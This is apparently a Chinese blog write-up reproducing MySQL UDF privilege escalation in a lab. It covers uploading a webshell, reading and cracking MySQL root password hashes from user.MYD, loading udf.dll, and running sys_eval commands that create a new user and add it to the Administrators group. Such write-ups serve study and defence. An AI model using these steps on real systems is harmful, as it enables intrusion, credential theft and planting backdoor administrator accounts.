Mysql-udf提权复现记录

Mysql-udf提权复现

关于udf

UDF (user defined function),自定义函数。通过添加新函数,对MySQL的功能进行扩充。

udf提权原理

在udf.dll文件中,定义了名位sys_eval()的函数,该函数可以执行系统命令,通过该函数来完成,系统用户的创建和提权。

udf提权注意事项

  • 在使用sys_eval()函数时,要显进行引用:

    引用有两个变量,一个是函数名sys_eval,一个是共享包名称udf.dll

    create function sys_eval returns string soname 'udf.dll';

  • 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。

    当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下。

  • 保证secure_file_priv的值为空,才可以进行文件的导入和导出。查看语句:

    show global variables like 'secure%';

使用脚本来完成udf的提权复现

上传一句话木马,之后使用蚁剑连接

找到MySQLxxx/data/mysql/user.MYD打开可以看见root用户的账户和密码

密码被MD5加密,在网上找在线工具解密

然后将moon.php上传到服务器目录

Mysql-udf提权复现记录_第1张图片

之后访问脚本,登录所找到的用户和密码

Mysql-udf提权复现记录_第2张图片

导入udf.dll文件

Mysql-udf提权复现记录_第3张图片

引用sys_eval,就是点击脚本的创建sys_eval

回显::create function sys_eval returns string soname ‘moonudf.dll’
Function ‘sys_eval’ already exists

在自定义SQL语句中输入select sys_eval(‘net user’)查看当前用户

得到回显

SQL语句:select sys_eval('net user')

\\DESKTOP-E65T8I4 

-------------------------------------------------------------------------------
23847                    admin                    Administrator            
DefaultAccount           Guest                    WDAGUtilityAccount       
输入select sys_eval('net user chen 123 /add') #创建新用户chen

输入select sys_eval('net localgroup Administrators chen /add') #将我们建立的chen用户加入管理员组去。

输入select sys_eval('net user chen /active:yes') #激活我们新建的账号

完成提权

局限:

  • 限制了对web脚本执行则无法使用

  • 如果网站目录并不包含mysql数据包库则无法,通过蚁剑正常查看到密码,可以进行手工提权

你可能感兴趣的:(Mysql-udf提权复现记录)